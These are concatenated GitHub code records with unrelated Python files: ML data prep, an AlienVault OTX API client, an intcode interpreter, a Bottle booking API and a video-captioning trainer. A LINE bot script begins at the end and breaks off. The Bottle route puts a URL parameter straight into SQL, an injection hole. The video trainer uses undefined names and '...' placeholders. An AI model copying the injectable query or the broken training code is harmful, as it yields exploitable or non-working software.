"dm_control.utils.rewards.tolerance", "line_number": 112, "usage_type": "call"}, {"api_name": "dm_control.utils.rewards", "line_number": 112, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 112, "usage_type": "attribute"}]} {"seq_id": "73902062629", "text": "import copy\nimport csv\nimport random\nfrom typing import List, Tuple\n\n\ndef create_base(\n trainSamples: int,\n) -> Tuple[List[List[float]], List[List[float]], List[int], List[int]]:\n X_test = []\n X_train = []\n with open(\"src/datasets/jm1.csv\", newline=\"\") as csvfile:\n spamreader = csv.reader(csvfile, delimiter=\",\", quotechar=\"|\")\n jm1 = [row for nr, row in enumerate(spamreader)]\n jm1_true = [j for j in jm1 if j[21] == \"true\"]\n jm1_false = [j for j in jm1 if j[21] == \"false\"]\n random.shuffle(jm1_true)\n random.shuffle(jm1_false)\n trainPart = int(\n trainSamples / 2\n ) # Test sample divided between true answers and false answers\n jm1_train = jm1_true[:trainPart]\n jm1_train = jm1_train + jm1_false[:trainPart]\n # jm1_test = jm1_true[trainPart:trainSamples]\n # jm1_test = jm1_test + jm1_false[trainPart:trainSamples]\n jm1_test = jm1_true[trainPart:]\n jm1_test = jm1_test + jm1_false[trainPart:]\n random.shuffle(jm1_train)\n random.shuffle(jm1_test)\n jm1_test = jm1_test[:trainSamples]\n\n Y_train_str = [j.pop(-1) for j in jm1_train]\n Y_train = [1 if x == \"true\" else 0 for x in Y_train_str]\n\n for jt in jm1_train:\n X_train.append([float(j) for j in jt])\n\n Y_test_str = [j.pop(-1) for j in jm1_test]\n Y_test = [1 if x == \"true\" else 0 for x in Y_test_str]\n for jt in jm1_test:\n X_test.append([float(j) for j in jt])\n\n return X_test, X_train, Y_train, Y_test\n\n\ndef save_classifier_if_diverse(\n classif_score: float,\n classif_predict: List[int],\n predicts: List[List[int]],\n params: List[str],\n nr_items: int,\n string_parameters: str,\n) -> None:\n if classif_score >= 0.6:\n if len(predicts) > 0:\n flag = False\n for pred in predicts:\n s = sum(\n x != y\n for x, y in zip(\n classif_predict,\n pred,\n )\n )\n if s < (0.05 * nr_items):\n flag = True\n break\n\n if not flag:\n predicts.append(copy.deepcopy(classif_predict))\n params.append(string_parameters)\n else:\n predicts.append(copy.deepcopy(classif_predict))\n params.append(string_parameters)\n\n\ndef save_quality_classifier(\n f1_score: float,\n params: List[str],\n string_parameters: str,\n):\n if f1_score > 0.3:\n params.append(string_parameters)\n", "repo_name": "Flaviomagalhaest/classifier-cellular-automata", "sub_path": "prep/find_classifiers.py", "file_name": "find_classifiers.py", "file_ext": "py", "file_size_in_byte": 2583, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "csv.reader", "line_number": 13, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 17, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 18, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 28, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 29, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 50, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 70, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 73, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 79, "usage_type": "name"}]} {"seq_id": "2116335277", "text": "# coding=utf-8\n# created by msg on 2019/11/24 2:30 下午\n\nimport re\nimport unicodedata\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\n\n\n# 第一个参数指定字符串标准化的方式。\n# NFC表示字符应该是整体组成(比如可能的话就使用单一编码)\n# NFD表示字符应该分解为多个组合字符表示。\n# unicodedata.category(chr) 把一个字符返回它在UNICODE里分类的类型\ndef unicode_to_ascii(s):\n return ''.join(c for c in unicodedata.normalize('NFD', s) if unicodedata.category(c) != 'Mn')\n\n\n# 预处理\ndef preprocess_sentence(w):\n # 转小写换编码\n w = unicode_to_ascii(w.lower().strip())\n\n # 标点符号前后加上空格\n # eg: \"he is a boy.\" => \"he is a boy .\"\n w = re.sub(r\"([?.!,¿])\", r\" \\1 \", w)\n\n # 去掉多余空格\n w = re.sub(r'[\" ]+', \" \", w)\n\n # 去掉前后空格\n w = w.rstrip().strip()\n\n # 加开始和结束字符\n w = ' ' + w + ' '\n return w\n\n\n# 创建数据集\ndef parse_data(filename):\n lines = open(filename, encoding='utf-8').read().strip().split('\\n')\n sentence_pairs = [line.split('\\t') for line in lines]\n preprocessed_sentence_pairs = [(preprocess_sentence(en), preprocess_sentence(spa)) for en, spa in sentence_pairs]\n return zip(*preprocessed_sentence_pairs)\n\n\n# 分词和词语到索引的转换\ndef tokenizer(lang):\n # 用空格分词\n lang_tokenizer = tf.keras.preprocessing.text.Tokenizer(num_words=None, filters='', split=' ')\n # 先分词\n lang_tokenizer.fit_on_texts(lang)\n # 再创建词到索引的映射\n tensor = lang_tokenizer.texts_to_sequences(lang)\n # 不够长度的在后边补0\n tensor = tf.keras.preprocessing.sequence.pad_sequences(tensor, padding='post')\n return tensor, lang_tokenizer\n\n\n# 获取句子的最大长度\ndef max_length(tensor):\n return max(len(t) for t in tensor)\n\n\n# 拆分训练测试数据集\ndef split(input_tensor, output_tensor, test_size=0.2):\n return train_test_split(input_tensor, output_tensor, test_size=test_size)\n\n\n# 构建训练集\ndef make_dataset(input_tensor, output_tensor, batch_size=64, epochs=20, shuffle=True):\n dataset = tf.data.Dataset.from_tensor_slices((input_tensor, output_tensor))\n if shuffle:\n dataset = dataset.shuffle(30000)\n dataset = dataset.repeat(epochs).batch(batch_size, drop_remainder=True)\n return dataset\n\n\nif __name__ == '__main__':\n spa_eng_path = 'spa-eng/spa.txt'\n en_dataset, spa_dataset = parse_data(spa_eng_path)\n print(en_dataset[-1])\n print(spa_dataset[-1])\n\n # 西班牙语到英语的训练\n input_tensor, input_tokenizer = tokenizer(spa_dataset[:30000])\n output_tensor, output_tokenizer = tokenizer(en_dataset[:30000])\n\n print(input_tensor)\n print(output_tensor)\n\n # 查看输入和输出的最大长度\n print(max_length(input_tensor))\n print(max_length(output_tensor))\n\n # 拆分数据集为训练集和验证集\n input_train, input_eval, output_train, output_eval = split(input_tensor, output_tensor)\n print(len(input_train), len(input_eval), len(output_train), len(output_eval))\n\n # 构建tf.data格式\n train_dataset = make_dataset(input_train, output_train)\n eval_dataset = make_dataset(input_eval, output_eval)\n\n # 打印一下\n for x, y in train_dataset.take(1):\n print(x.shape)\n print(y.shape)\n print(x)\n print(y)\n\n\n\n\n\n\n", "repo_name": "Youly172/nlp-journey", "sub_path": "tutorials/tf2-tutorial/05.machine_translation/seq2seq/01.preprocess_data.py", "file_name": "01.preprocess_data.py", "file_ext": "py", "file_size_in_byte": 3429, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "unicodedata.normalize", "line_number": 15, "usage_type": "call"}, {"api_name": "unicodedata.category", "line_number": 15, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 25, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.text.Tokenizer", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 49, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 71, "usage_type": "attribute"}]} {"seq_id": "23082052524", "text": "#!/usr/bin/env python\nfrom __future__ import absolute_import\nimport json\nimport logging\n\nfrom . import IndicatorTypes\n\nAPI_V1_ROOT = \"{}/api/v1/\"\nPULSES_ROOT = \"{}/pulses\".format(API_V1_ROOT)\nSUBSCRIBED = \"{}/subscribed\".format(PULSES_ROOT)\nEVENTS = \"{}/events\".format(PULSES_ROOT)\n\ntry:\n # For Python2\n from urllib2 import URLError, HTTPError, build_opener, ProxyHandler\nexcept ImportError:\n # For Python3\n from urllib.error import URLError, HTTPError\n from urllib.request import build_opener, ProxyHandler\n\nlogger = logging.getLogger(\"OTXv2\")\n\n\nclass InvalidAPIKey(Exception):\n def __init__(self, value):\n self.value = value\n\n def __str__(self):\n return repr(self.value)\n\n\nclass BadRequest(Exception):\n def __init__(self, value):\n self.value = value\n\n def __str__(self):\n return repr(self.value)\n\n\nclass OTXv2(object):\n \"\"\"\n Main class to interact with the AlienVault OTX API.\n \"\"\"\n\n def __init__(self, api_key, proxy=None, server=\"https://otx.alienvault.com\", project=\"SDK\"):\n self.key = api_key\n self.server = server\n self.proxy = proxy\n self.sdk = 'OTX Python {}/1.0'.format(project)\n\n def get(self, url):\n \"\"\"\n Internal API for GET request on a OTX URL\n :param url: URL to retrieve\n :return: response in JSON object form\n \"\"\"\n if self.proxy:\n proxy = ProxyHandler({'http': self.proxy})\n request = build_opener(proxy)\n else:\n request = build_opener()\n request.addheaders = [\n ('X-OTX-API-KEY', self.key),\n ('User-Agent', self.sdk)\n ]\n response = None\n try:\n response = request.open(url)\n except URLError as e:\n if isinstance(e, HTTPError):\n if e.code == 403:\n raise InvalidAPIKey(\"Invalid API Key\")\n elif e.code == 400:\n raise BadRequest(\"Bad Request\")\n else:\n raise e\n data = response.read().decode('utf-8')\n json_data = json.loads(data)\n return json_data\n\n def create_url(self, url_path, **kwargs):\n uri = url_path.format(self.server)\n uri += \"?\"\n for parameter, value in kwargs.items():\n uri += parameter\n uri += \"=\"\n uri += str(value)\n uri += \"&\"\n return uri\n\n def getall(self, limit=20):\n \"\"\"\n Get all pulses user is subscribed to.\n :param limit: The page size to retrieve in a single request\n :return: the consolidated set of pulses for the user\n \"\"\"\n pulses = []\n next = self.create_url(SUBSCRIBED, limit=limit)\n while next:\n json_data = self.get(next)\n for r in json_data[\"results\"]:\n pulses.append(r)\n next = json_data[\"next\"]\n return pulses\n\n def getall_iter(self, limit=20):\n \"\"\"\n :param limit:\n :return:\n \"\"\"\n pulses = []\n next = self.create_url(SUBSCRIBED, limit=limit)\n while next:\n json_data = self.get(next)\n for r in json_data[\"results\"]:\n yield r\n next = json_data[\"next\"]\n\n def getsince(self, mytimestamp, limit=20):\n \"\"\"\n Get all pulses created or updated since a timestamp\n :param mytimestamp: timestamp to filter returned pulses\n :param limit: The page size to retrieve in a single request\n :return: the consolidated set of pulses for the user\n \"\"\"\n pulses = []\n next = self.create_url(SUBSCRIBED, limit=limit, modified_since=mytimestamp)\n while next:\n json_data = self.get(next)\n for r in json_data[\"results\"]:\n pulses.append(r)\n next = json_data[\"next\"]\n return pulses\n\n def getsince_iter(self, mytimestamp, limit=20):\n pulses = []\n next = self.create_url(SUBSCRIBED, limit=limit, modified_since=mytimestamp)\n while next:\n json_data = self.get(next)\n for r in json_data[\"results\"]:\n yield r\n next = json_data[\"next\"]\n\n def get_all_indicators(self, indicator_types=IndicatorTypes.all_types):\n \"\"\"\n Get all the indicators contained within your pulses of the IndicatorTypes passed.\n By default returns all IndicatorTypes.\n :param indicator_types: IndicatorTypes to return\n :return: yields the indicator object for use\n \"\"\"\n name_list = IndicatorTypes.to_name_list(indicator_types)\n for pulse in self.getall_iter():\n for indicator in pulse[\"indicators\"]:\n if indicator[\"type\"] in name_list:\n yield indicator\n\n def getevents_since(self, mytimestamp, limit=20):\n \"\"\"\n Get all events (activity) created or updated since a timestamp\n :param mytimestamp: timestamp to filter returned activity\n :param limit: The page size to retrieve in a single request\n :return: the consolidated set of pulses for the user\n \"\"\"\n events = []\n next = self.create_url(EVENTS, limit=limit, since=mytimestamp)\n while next:\n json_data = self.get(next)\n for r in json_data[\"results\"]:\n events.append(r)\n next = json_data[\"next\"]\n return events\n", "repo_name": "gcrahay/otx_misp", "sub_path": "src/otx_misp/otx/OTXv2.py", "file_name": "OTXv2.py", "file_ext": "py", "file_size_in_byte": 5423, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 52, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "urllib.request.ProxyHandler", "line_number": 58, "usage_type": "call"}, {"api_name": "urllib.request.build_opener", "line_number": 59, "usage_type": "call"}, {"api_name": "urllib.request.build_opener", "line_number": 61, "usage_type": "call"}, {"api_name": "urllib.error.URLError", "line_number": 69, "usage_type": "name"}, {"api_name": "urllib.error.HTTPError", "line_number": 70, "usage_type": "argument"}, {"api_name": "json.loads", "line_number": 78, "usage_type": "call"}]} {"seq_id": "22092624888", "text": "from typing import List\r\n\r\n\r\ndef intcode(program: List[int], inputs: List[int] = [], perpetual_input: bool = False,\r\n loop_mode: bool = False, print_outputs: bool = True, extend: int = 0,\r\n i: int = 0):\r\n assert len(program) > 0\r\n\r\n p = program.copy()\r\n p.extend([0] * extend)\r\n\r\n relative_base = 0\r\n outputs = []\r\n\r\n while p[i] != 99:\r\n # Extract operation\r\n op = int(str(p[i])[-2:])\r\n # Extract modes after zero filling it & inverting\r\n modes = [int(char) for char in str(p[i])[:-2].zfill(3)][::-1]\r\n\r\n # Map variables/locations based on operation\r\n if op in [1, 2, 7, 8]:\r\n # Two parameters, 1 target\r\n variables = [\r\n p[i + 1] if modes[0] == 1 else p[p[i + 1] + relative_base] if modes[0] == 2 else p[\r\n p[i + 1]],\r\n p[i + 2] if modes[1] == 1 else p[p[i + 2] + relative_base] if modes[1] == 2 else p[\r\n p[i + 2]],\r\n i + 3 if modes[2] == 1 else p[i + 3] + relative_base if modes[2] == 2 else p[i + 3]\r\n ]\r\n elif op in [5, 6]:\r\n # Two parameters\r\n variables = [\r\n p[i + 1] if modes[0] == 1 else p[p[i + 1]] if modes[0] == 0 else p[\r\n p[i + 1] + relative_base],\r\n p[i + 2] if modes[1] == 1 else p[p[i + 2]] if modes[1] == 0 else p[\r\n p[i + 2] + relative_base],\r\n ]\r\n elif op in [3, 4]:\r\n # One location?\r\n variables = [\r\n i + 1 if modes[0] == 1 else p[i + 1] + relative_base if modes[0] == 2 else p[i + 1]\r\n ]\r\n elif op in [9]:\r\n # One parameter\r\n variables = [\r\n p[i + 1] if modes[0] == 1 else p[p[i + 1]] if modes[0] == 0 else p[\r\n p[i + 1] + relative_base],\r\n ]\r\n\r\n # Perform operation\r\n if op == 1: # Sum\r\n p[variables[2]] = variables[0] + variables[1]\r\n i += 4\r\n elif op == 2: # Multiplication\r\n p[variables[2]] = variables[0] * variables[1]\r\n i += 4\r\n elif op == 3: # Input\r\n p[variables[0]] = inputs[0] if perpetual_input and len(inputs) == 0 else inputs.pop(0)\r\n i += 2\r\n elif op == 4: # Output\r\n outputs.append(p[variables[0]])\r\n if print_outputs:\r\n print(p[variables[0]])\r\n i += 2\r\n if loop_mode:\r\n return outputs, p.copy(), i\r\n elif op == 5: # Jump-if-true\r\n i = variables[1] if variables[0] else i + 3\r\n elif op == 6: # Jump-if-false\r\n i = i + 3 if variables[0] else variables[1]\r\n elif op == 7: # Less-than\r\n p[variables[2]] = int(variables[0] < variables[1])\r\n i += 4\r\n elif op == 8: # Equals\r\n p[variables[2]] = int(variables[0] == variables[1])\r\n i += 4\r\n elif op == 9: # Relative base adjustment\r\n relative_base += variables[0]\r\n i += 2\r\n else: # ERROR!!\r\n print(\"Oops...\")\r\n\r\n if loop_mode:\r\n return None, None, -1\r\n return outputs, p, i\r\n\r\n\r\ndef chain_intercodes(program: List[int], phases: List[int] = []):\r\n output = 0\r\n for phase in phases:\r\n outputs, _, _ = intcode(program, [phase, output])\r\n output = outputs[-1]\r\n return output\r\n\r\n\r\ndef looping_intcodes(program: List[int], phases: List[int]):\r\n amps = [program.copy() for i in range(len(phases))]\r\n amps_i = [0] * len(phases)\r\n amps_active = list(range(len(phases)))\r\n\r\n output = 0\r\n result = None\r\n\r\n while len(amps_active) > 0:\r\n for amp in amps_active:\r\n program = amps[amp].copy()\r\n i = amps_i[amp]\r\n phase = phases[amp]\r\n program_input = [phase, output] if i == 0 else [output]\r\n outputs, amp_p, amp_i = intcode(program, program_input, perpetual_input=True,\r\n loop_mode=True, print_outputs=False, i=i)\r\n if outputs is not None:\r\n output = outputs[-1]\r\n result = output\r\n # print(result)\r\n if amp_i == -1:\r\n amps_active.remove(amp)\r\n else:\r\n amps[amp] = amp_p.copy()\r\n amps_i[amp] = amp_i\r\n\r\n return result\r\n", "repo_name": "marcolussetti/adventofcode", "sub_path": "2019/intcode_lib/intcode.py", "file_name": "intcode.py", "file_ext": "py", "file_size_in_byte": 4436, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 4, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 89, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 97, "usage_type": "name"}]} {"seq_id": "16799124438", "text": "#Convert XML to TXT \nimport xml.etree.ElementTree as ET\nimport glob\n\n#list of xml files\nlistOfFiles = sorted(glob.glob('/Users/shiva.hnf/Documents/IIT/visual-targets/Demo/VT_DataAnnotation/VT_InputData/Annotations/TwoPeople_ThreeObjects(2)/*.xml'))\n\n#opening a txt file\nf = open('/Users/shiva.hnf/Documents/IIT/visual-targets/Demo/VT_DataAnnotation/bndBox_TXT/TwoPeople_ThreeObjects(2).txt','w') #Creates a new file\n#f.write('name, left, bottom, right, top\\n')\nf.close()\n\n#parsing the xml files\nfor i in range(len(listOfFiles)):\n tree = ET.parse(listOfFiles[i])\n root = tree.getroot()\n #extracting info from xml files\n for ann in root.iter('annotation'):\n filename = ann.find('filename').text\n left = ann.find('object/bndbox/xmin').text\n right = ann.find('object/bndbox/xmax').text\n bottom = ann.find('object/bndbox/ymin').text\n top = ann.find('object/bndbox/ymax').text\n line_to_write = filename + ',' + left + ',' + bottom + ',' + right + ',' + top + '\\n'\n #writing to the txt file\n with open('/Users/shiva.hnf/Documents/IIT/visual-targets/Demo/VT_DataAnnotation/bndBox_TXT/TwoPeople_ThreeObjects(2).txt', 'a') as f:\n f.write(line_to_write) ", "repo_name": "shivahanifi/visual-targets", "sub_path": "Demo/VT_Demo_CustomInput/VT_CI_Annotation/xmltotxt.py", "file_name": "xmltotxt.py", "file_ext": "py", "file_size_in_byte": 1176, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "glob.glob", "line_number": 6, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 15, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 15, "usage_type": "name"}]} {"seq_id": "35293364012", "text": "import xml.etree.ElementTree as ET\n\ndef read_anntation(xml_file: str):\n tree = ET.parse(xml_file)\n root = tree.getroot()\n\n bounding_box_list = []\n\n file_name = root.find('filename').text\n for obj in root.iter('object'):\n\n object_label = obj.find(\"name\").text\n for box in obj.findall(\"bndbox\"):\n x_min = int(box.find(\"xmin\").text)\n y_min = int(box.find(\"ymin\").text)\n x_max = int(box.find(\"xmax\").text)\n y_max = int(box.find(\"ymax\").text)\n\n bounding_box = [object_label, x_min, y_min, x_max, y_max]\n bounding_box_list.append(bounding_box)\n\n return bounding_box_list, file_name", "repo_name": "YoonSungLee/Image_Augmentation_Tool", "sub_path": "Read_anno.py", "file_name": "Read_anno.py", "file_ext": "py", "file_size_in_byte": 665, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "xml.etree.ElementTree.parse", "line_number": 4, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 4, "usage_type": "name"}]} {"seq_id": "74205228389", "text": "from bottle import get, response\nimport json\nimport mysql.connector\nfrom g import (\n DATABASE_CONFIG\n)\n\n\n\n################################################################### \n# FETCH ALL BOOKING DATA \n################################################################### \n@get('/api-fetch-booking_data')\ndef _():\n try:\n \n ################ CONNECT TO DATABASE ###################\n db_connection = mysql.connector.connect(**DATABASE_CONFIG)\n cursor = db_connection.cursor(dictionary=True)\n ##########################################################\n\n sql_fetchAll_customer = \"\"\" SELECT * FROM participants \"\"\"\n cursor.execute(sql_fetchAll_customer)\n participants = cursor.fetchall()\n\n sql_fetchAll_booking_options = \"\"\" \n SELECT bkg_option_id, options, prices.duration, prices.price\n FROM booking_options\n JOIN prices ON booking_options.fk_price_id = prices.price_id\n \"\"\"\n cursor.execute(sql_fetchAll_booking_options)\n booking_options = cursor.fetchall()\n\n sql_fetchAll_booking_date_times = \"\"\" \n SELECT * FROM booking_date_times \n \"\"\"\n cursor.execute(sql_fetchAll_booking_date_times)\n booking_date_times = cursor.fetchall()\n\n sql_fetchAll_booking_dates_with_times = \"\"\" \n SELECT DISTINCT booking_dates.available_dates \n FROM booking_date_times\n INNER JOIN booking_dates ON booking_date_times.fk_bkg_date_id = booking_dates.bkg_date_id \n \"\"\"\n cursor.execute(sql_fetchAll_booking_dates_with_times)\n booking_dates = cursor.fetchall()\n \n response.content_type = 'application/json; charset=UTF-8'\n return json.dumps(dict(\n participants=participants, \n booking_options=booking_options,\n booking_date_times=booking_date_times,\n booking_dates=booking_dates\n ), default=str)\n except Exception as ex:\n print(ex)\n \n\n\n\n#### test1\n@get('/test/')\ndef _(date):\n\n try:\n\n ################ CONNECT TO DATABASE ###################\n db_connection = mysql.connector.connect(**DATABASE_CONFIG)\n cursor = db_connection.cursor(dictionary=True)\n ##########################################################\n\n \n sql_fetchAll_booking_dates_with_times = f\"\"\" \n SELECT DISTINCT bkg_date_time_id, booking_dates.available_dates, available_times \n FROM booking_date_times\n INNER JOIN booking_dates ON booking_date_times.fk_bkg_date_id = booking_dates.bkg_date_id\n WHERE booking_dates.available_dates = {date} \n \"\"\"\n cursor.execute(sql_fetchAll_booking_dates_with_times)\n booking_dates_times = cursor.fetchall()\n \n print('#'*100)\n print(booking_dates_times)\n\n\n response.content_type = 'application/json; charset=UTF-8'\n return json.dumps(dict(\n booking_dates_and_times=booking_dates_times\n ), default=str)\n\n except Exception as ex:\n print(ex)\n ", "repo_name": "Elisha2605/Dara-Coaching", "sub_path": "api/GET/fetch_booking_data_GET.py", "file_name": "fetch_booking_data_GET.py", "file_ext": "py", "file_size_in_byte": 3738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mysql.connector.connector.connect", "line_number": 18, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 18, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 18, "usage_type": "name"}, {"api_name": "g.DATABASE_CONFIG", "line_number": 18, "usage_type": "name"}, {"api_name": "bottle.response.content_type", "line_number": 48, "usage_type": "attribute"}, {"api_name": "bottle.response", "line_number": 48, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 49, "usage_type": "call"}, {"api_name": "bottle.get", "line_number": 13, "usage_type": "call"}, {"api_name": "mysql.connector.connector.connect", "line_number": 68, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 68, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 68, "usage_type": "name"}, {"api_name": "g.DATABASE_CONFIG", "line_number": 68, "usage_type": "name"}, {"api_name": "bottle.response.content_type", "line_number": 86, "usage_type": "attribute"}, {"api_name": "bottle.response", "line_number": 86, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 87, "usage_type": "call"}, {"api_name": "bottle.get", "line_number": 62, "usage_type": "call"}]} {"seq_id": "35916618183", "text": "import torch\nimport torchvision\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import transforms\n\n# Define hyperparameters\nbatch_size = 32\nlearning_rate = 0.001\nnum_epochs = 10\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# Define dataset and dataloader classes\nclass VideoDataset(Dataset):\n def __init__(self, video_path, label_path):\n self.video_path = video_path\n self.label_path = label_path\n self.video_names, self.labels = self._load_labels()\n\n def __getitem__(self, index):\n # Load and preprocess video frames\n video_name = self.video_names[index]\n frames = self._load_video_frames(video_name)\n\n # Load and preprocess ground truth labels\n label = self.labels[index]\n label = self._preprocess_label(label)\n\n return frames, label\n\n def __len__(self):\n return len(self.video_names)\n\n def _load_labels(self):\n with open(self.label_path, 'r') as f:\n lines = f.readlines()\n labels = []\n video_names = []\n for line in lines:\n parts = line.split(',')\n video_name = parts[0]\n label = parts[7].strip()\n video_names.append(video_name)\n labels.append(label)\n return video_names, labels\n\n def _load_video_frames(self, video_name):\n # Load video frames using a library such as OpenCV or PyAV\n # Preprocess frames using transforms as necessary\n return frames\n\n def _preprocess_label(self, label):\n # Preprocess label to convert it into a format that can be used for training\n return label\ndef decode_outputs(outputs, idx_to_word):\n # Convert the output tensor into a sequence of predicted word indices\n _, indices = torch.max(outputs, dim=2)\n indices = indices.squeeze()\n\n # Convert the predicted word indices into a sequence of words\n predicted_words = [idx_to_word[idx.item()] for idx in indices]\n\n # Remove and tokens from the sequence\n predicted_words = predicted_words[1:-1]\n\n return predicted_words\n# Define model architecture\nclass VideoCaptioningModel(nn.Module):\n def __init__(self, hidden_size):\n super().__init__()\n self.conv = nn.Sequential(...)\n self.rnn = nn.LSTM(input_size=..., hidden_size=hidden_size, num_layers=1, batch_first=True)\n self.fc = nn.Linear(hidden_size, ...)\n\n def forward(self, x):\n # Apply convolutional layers\n x = self.conv(x)\n\n # Apply recurrent layers\n h0 = torch.zeros(1, x.size(0), self.rnn.hidden_size).to(x.device)\n c0 = torch.zeros(1, x.size(0), self.rnn.hidden_size).to(x.device)\n x, _ = self.rnn(x, (h0, c0))\n\n # Apply fully connected layer\n x = self.fc(x)\n\n return x\n\n# Define loss function and optimizer\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr=learning_rate)\n\n# Load data and train model\ntrain_dataset = VideoDataset(video_path='../data/video', label_path='../data/labels.txt')\ntrain_dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n\nmodel = VideoCaptioningModel(hidden_size=...)\nmodel.to(device)\n\nfor epoch in range(num_epochs):\n for i, (frames, label) in enumerate(train_dataloader):\n frames = frames.to(device)\n label = label.to(device)\n\n # Forward pass\n outputs = model(frames)\n\n # Compute loss and gradients\n loss = criterion(outputs, label)\n loss.backward()\n\n # Update parameters\n optimizer.step()\n optimizer.zero_grad()\n\n # Print progress\n if (i + 1) % 10 == 0:\n print('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}'\n .format(epoch + 1, num_epochs, i + 1, len(train_dataloader), loss.item()))\n\n# Test the model\nwith torch.no_grad():\n model.eval()\n for i, (frames, _) in enumerate(train_dataloader):\n frames = frames.to(device)\n outputs = model(frames)\n predicted_words = decode_outputs(outputs)\n print('Video {}: {}'.format(i+1, predicted_words))\n\ndef decode_outputs(outputs):\n # Decode the output of the model into a sequence of words\n return predicted_words\n\ntorch.save(model.state_dict(), 'situation.pth')", "repo_name": "32192442sangho/TeamProjectModel", "sub_path": "model_build/situation.py", "file_name": "situation.py", "file_ext": "py", "file_size_in_byte": 4364, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.device", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.max", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 135, "usage_type": "call"}]} {"seq_id": "13033022310", "text": "# coding:utf-8\nfrom LineApi import *\nfrom LineApi.hooks import HooksTracer\nfrom collections import OrderedDict\nimport random, requests, json, random, sqlite3, sys\n\nwith open(\"Tokens.json\",\"r\",encoding=\"utf8\") as f:\n tokens = json.loads(f.read(),object_pairs_hook=OrderedDict)\n \nwith open(\"Help.txt\",\"r\",encoding=\"utf8\") as f:\n helpText = f.read()\n\nyukino_1 = LINE(tokens[\"Main\"],type=\"IOSIPAD\")\nyukino_2 = LINE(tokens[\"Sub1\"],type=\"IOSIPAD\")\nyukino_3 = 